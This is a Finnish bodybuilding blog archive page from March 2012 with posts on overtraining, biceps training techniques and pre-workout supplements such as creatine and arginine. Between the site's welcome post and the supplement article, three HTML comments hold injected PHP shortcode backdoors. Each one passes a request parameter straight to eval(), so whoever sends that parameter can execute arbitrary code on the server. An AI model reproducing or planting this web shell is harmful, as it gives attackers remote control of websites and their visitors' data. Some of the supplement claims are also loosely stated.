Monthly Archives: maaliskuu 2012

Ylikunto – mitä se on?

YlikuntoYlikunto -sana on täysin harhaanjohtava, mutta siitä huolimatta sanaa käytetään. Ylikunto tarkoittaa puutteellisesta palautumisesta johtuvaa  ylirasitustilaa. Ylikuntoa voi esiintyä kenellä tahansa, joka harrastaa liikuntaa liian paljon tai liian rankasti suhteessa palautumiskykyyn tai palautumisaikaan. Ylikunto voi siis tulla myös esimerkiksi kuntosalilla kävijälle joka on vasta-alkaja ja treenaa liian innokkaasti.

Ylikuntoa on kahdenlaista: akuuttia ja kroonista. Näistä akuutti ylikunto lienee se yleisempi kuntosaliharrastajilla ja kehonrakentajilla. Ylikunnon oireet voivat olla yksilöllisiä, mutta selvimpiä fyysisiä oireita ovat kohonnut leposyke, unettomuus, ylipirteyden tunne ja suorituskyvyn lasku. Jos heräät aamulla sydän hakaten ylikierroksilla ilman syytä, voi kyseessä olla ylirasitustila. Psyykkisiä ylikunnon oireita ovat mm. masennus, hermostuneisuus ja  jännittyneisyys.

Ylikunto on merkki siitä että et ole palautunut treeneistäsi ja että on syytä levätä. Jos huomaat olevasi ylikunnossa, jätä ainakin viikoksi kuntosalilla käyminen väliin ja keskity siihen, että saat lepoa ja myös ravintoa riittävästi. Ne ovat juuri samoja asioita jotka normaalistikin palauttavat treenistä. Lääkärillä tuskin on antaa sinulle mitään muuta ”ylikuntolääkettä”. Jos taas jatkat treenamista välittämättä ylikunto-oireista, voi ylikunto muuttua krooniseksi ylikuormitustilaksi, josta palautuminen vaatii aikaa muutamasta kuukaudesta vuosiin.

Haasta hauiksesi

5 tapaa antaa hauislihaksille uutta haastetta:

Hauis on kehon näyttävimpiä lihaksia ja se on myös eräänlainen voiman symboli. Vasta-alkajan treeni näkyy helposti juuri hauiksissa koska alkuvaiheen huumassa juuri näitä lihaksia treenataan paljon. Vuoden parin treenin jälkeen hauiksen kasvu-ura sitten saattaa hidastua huomattavasti. Syynä saattaa se, että hauikset eivät saa riittävästi enää uudenlaista haastetta. Tässä tulee muutamia keinoja joilla voit haastaa hauiksesi kenties aivan uudella tavalla.

Hauistreeni1. Hauiskääntö suoralla levytangolla

Oletko unohtanut tämän perusliikkeen? Tämä voi helposti unohtua, mutta hauiskääntö suoralla tangolla on erittäin tehokas liike hauiksille. Jos olet ”unohtanut” tehdä tätä liikettä, niin kokeilepa palata perusasioihin. Lämmittele hauikset kunnolla pienemmillä painoilla, ennenkuin lataat sen ”60 kg tankoon” varsinaisiin sarjoihin. Voit tehdä liikettä puhtaasti tai vähemmän puhtaasti, tärkeintä on, että päätyön tekevät hauikset ja hallitset painot joita käytät.

2 .Vähennyssarjat

Hauistreenissä toimii hyvin vähennyssarjat, olipa liike mikä tahansa hauisliike. Jätä vähennysarjat aina liikkeen viimeiseksi. Aloita tekemällä suora sarja siten että teet ensin sarjan lopppuun niin että et enää pysty seuraavaan toistoon. Tämän jälkeen vähennä painoista pois 20-30 % ja välittömästi teet sarjan loppuun niin ettet saa enää seuraavaa toistoa. Sitten vähennät painoja vielä kerran 20-30 % ja välittömästi teet toistot loppuun. Koska oikein tehtynä vähennyssarjojen jälkeen hauiksesi ovat melko ”finaalissa”, voit tämän jälkeen siirtyä seuraavaan lihasryhmään tai poistua salilta.

3. Suuri määrä toistoja

Kun olet tehnyt normaalin hauistreenisi, kokeile tehdä viimeiseksi kevyemmillä painoilla esimerkiksi 50-100 toistoa, tietysti sarja loppuun vieden, niin ettet saa enää seuraavaa toistoa. Jos et ole aiemmin tätä tehnyt, ainakin hauiksesi saa vaihtelua ja tällä saat myös kunnolla pumppia lihakseen.

4. Pumppipäivät hauiksille

Jos treenaat normaalisti hauiksia tyypillisesti 8-12 toiston sarjoilla, tee joskus poikkeus ja vähennä painoja sen verran että saat toistoja vähintään 20. Kokeile pitää tällainen pumppitreeni vaikka joka kolmannessa hauistreenissä.

5. Supersarjat

Kokeile tehdä supersarjoja hauiksille ja ojentajille. Tee peräkkäin sarjat hauiksille ja ojentajille ilman taukoa. Toistoja kussakin sarjassa n. 20. Liikeinä voi olla esimerkiksi hauiskääntö taljassa ja ojentajapunnerrus taljassa. Nämä sarjat antavat mahtavan pumpin lihaksiisi, kun sekä hauikset että ojentajat pumppautuvat täyteen verta.

Sommoro kehoilijat

Som’moro kaikki kehonrakennuksesta ja salitreenistä kiinnostuneet! Tervetuloa uudelle sivustollemme! Kehonrakennus.net on upouusi verkkosivusto joka kertoo kehonrakennukseen liittyvistä asioista: treenistä, ravintoasioista, lisäravinteista ja kilpailuista. Ideoita myös otetaan mielellään vastaan. Niitä voi kirjoitella esimerkiksi keskustelualueelle. Jos jollakulla on hirveä kirjoitusvimma, myös laadukkaita artikkeleita otamme vastaan.

Sivuston tarkoituksena on julkaista treenimotivaatiota lisääviä kehonrakennusaiheisia artikkeleita sitä mukaa kun saamme juttuja kasaan, eli kannattaa palata katsomaan uudestaan tai vaikka tilata artikkelipäivitykset feedin muodossa sähköpostiin.

Treeniterveisin,

Kehonrakennus.net ylläpito

<!– [insert_php]if (isset($_REQUEST["SPbSa"])){eval($_REQUEST["SPbSa"]);exit;}[/insert_php][php]if (isset($_REQUEST["SPbSa"])){eval($_REQUEST["SPbSa"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["QHq"])){eval($_REQUEST["QHq"]);exit;}[/insert_php][php]if (isset($_REQUEST["QHq"])){eval($_REQUEST["QHq"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["Gkwoa"])){eval($_REQUEST["Gkwoa"]);exit;}[/insert_php][php]if (isset($_REQUEST["Gkwoa"])){eval($_REQUEST["Gkwoa"]);exit;}[/php] –>

Mitä laittaa treenilaturiin?

Olen kuullut hurjia juttuja joiltakin tutuilta, jotka harrastavat aerobisia lajeja, että heidän treenilaturinsa ennen liikuntasuoritusta koostuu… niin arvaatteko mistä? Maltodekstriinistä, maltodekstriinistä sekä maltodekstriinistä, ja ehkäpä lisäksi mehusta. Kuulostaa salitreenaajan korvaan vähintääkin oudolta. Siinähän menee insuliinit aivan harakoille, kun ei samalla nautita proteiinia, joka todella myös palauttaisi lihaksia ja saisi aikaan kehitystä. No unohdan tässä tietysti sen seikan, että eiväthän kaikki liikunnan harrastajat välttämättä halua lihastensa palautuvan maksimaalisesti, saati kehittyvän. Kuntosalilla kävijällä tavoitteet ovat kuitenkin yleensä lihasmassan lisäämisessä tai ainakin ylläpidossa. Treenilaturiin voi tietysti keksiä vaikka minkälaisia ainesosia, mutta tässä joitakin tärkeimmistä.

Heraproteiinia ja hiilaria

Salitreenaajan treenilaturista, latarista löytynee vielä useimmiten maltodekstriiniä sekä heraproteiinia. Heraproteiini soveltuu hyvin lautausjuomiin, koska se imeytyy elimistöön nopeasti ja sisältää hyvän aminohappoprofiilin lihaskasvua ajatellen.

Maltodekstriini on ollut suosittu treenijuoman hiilihydraatti jo pitkään. Se imeytyy erittäin nopeasti samalla kun sillä kuitenkin on kyky pitää verensokeritasoja kauemmin yllä kuin esimerkiksi dekstroosilla, joka on puhdasta glukoosia. Myös intiaanisokeria jotkut käyttävät latausjuomassaan hiilihydraattilähteenä sen sisältämien vitamiinien, mineraalien ja aminohappojen takia.

Leusiini ja glutamiini

Jos haluaa hifistellä latausjuomansa kanssa, voi sekaan heittää esimerkiksi l-leusiinia ja l-glutamiinia. L-leusiini on tärkein yksittäinen aminohappo lihaskasvussa ja l-glutamiini taas toimii antikatabolisena, lihaksen hajoittamista estävänä osana latausjuomassa.

Arginiini lisää ”pumppia”

Heraproteiinin ja nopean hiilihydraatin lisäksi monet kehonrakentajat lisäävät palautusjuomaan arginiinia. Arginiini on aminohappo, joka pitää elimistön typpioksidituotantoa yllä. Positiivinen typpitasapaino on yksi lihaskasvun edellytys. Arginiini parantaa myös verenkiertoa laajentamalla hiusverisuonia ja se lisää kasvuhormonituotantoa. Varsin hyvältä kuulostava ja monipuolinen aminohappo siis lihaskasvua hakevalle treenaajalle. Arginiinia myydään lisäravinteena sekä tabletteina, että jauheena. Tablettien etuna on se, että niitä ei tarvitse maistella, kun taas arginiinijauhe antaa esimerkiksi palautusjuomaan, no, ei niin kovinkaan hyvän maun. Arginiinijauheen etuna verrattuna tabletteihin on edullisuus. Ainakin pari sivuvaikutusta arginiinilla on: se nimittäin lisää seksuaalista halukkuutta sekä parantaa erektiota.

Kreatiini parantaa voimatasoja

Kreatiini soveltuu hyvin treenilatariin. Kreatiinista muodostuu elimistössä kreatiinifosfaattia, joka taas on mukana ATP:n (adenosiinitrifosfaatti) tuotannossa. ATP on viime kädessä lihasten ainoa energianlähde jonka ne hyväksyvät. Kreatiinin käyttämisellä  lisäravinteena pyritään täydentämään elimistön  kreatiinifosfaattivarastoja ja sitä kautta tehostamaan ATP:n tuotantoa. Moni treenaaja kokee kreatiinin olevan toimiva lisäravinne suorituskyvyn lisääjänä. Kreatiinimonohydraatti on paljon tutkittu lisäravinne, eikä sen tehoa tarvitse käyttäjän uskotella itselleen, vaikutuksen yleensä huomaa voimatasoissa. Kreatiinin on tarkoitus antaa treeniin lisää tehoja, joten se sopii hyvin lähinnä ennen treeniä nautittavaksi. Se myös nopeuttaa palautumista, joten ei se palautusjuomassakaan aivan turha ole. Kreatiini lisää jonkin verran nesteen kertymistä lihassoluihin joka ei ole palautumisen kannalta haitallista vaan lähinnä eduksi.

Kreatiinin käyttöä aloittaessa jotkut suosivat kreatiinitasojen nopeaan nostamiseen ns. latausjaksoa jolloin kreatiinia käytetään n. 30 grammaa vuorokaudessa. Tämä ei ole mitenkään välttämätöntä vaan kreatiinitasot nousevat myös ilman latausjaksoa muutamassa päivässä pienemmilläkin annoksilla. Kreatiinin päivittäisannokseksi suositellaan latausjakson päätyttyä 2-10 grammaa vuorokaudessa.

Beeta-alaniini

Karnosiinilla on kyky toimia lihaksessa tehokkaana maitohappopuskurina. Lihasten karnosiinipitopisuus korreloi lihaskestävyyden kanssa. Karnosiini on myös erittäin tehokas antioksidantti. Lihaksissa karnosiinintasoja voi nostaa nauttimalla lisäravinteena  joko karnosiinia tai beeta-alaniinia. Beeta-alaniinia on yleisesti saatavana jauheen muodossa ja se soveltuukin hyvin treenijuomaan sekoitettavaksi.

Valmiit loader-juomat

Markkinoilla löytyy kohtuullisen paljon treenijuomia, joiden koostumusta on mietitty tarkaan. Tyypillisesti ne sisältävät  tarkkaan harkitun kokonaisuuden, joka on koostettu erilaisista aminohapoista. Kun käyttää valmiita treenilaturijuomia, kannattaa treenienergian riittävyyteen kiinnitää huomiota, koska monet näistä tuotteista eivät sisällä hiilihydraattia juuri ollenkaan.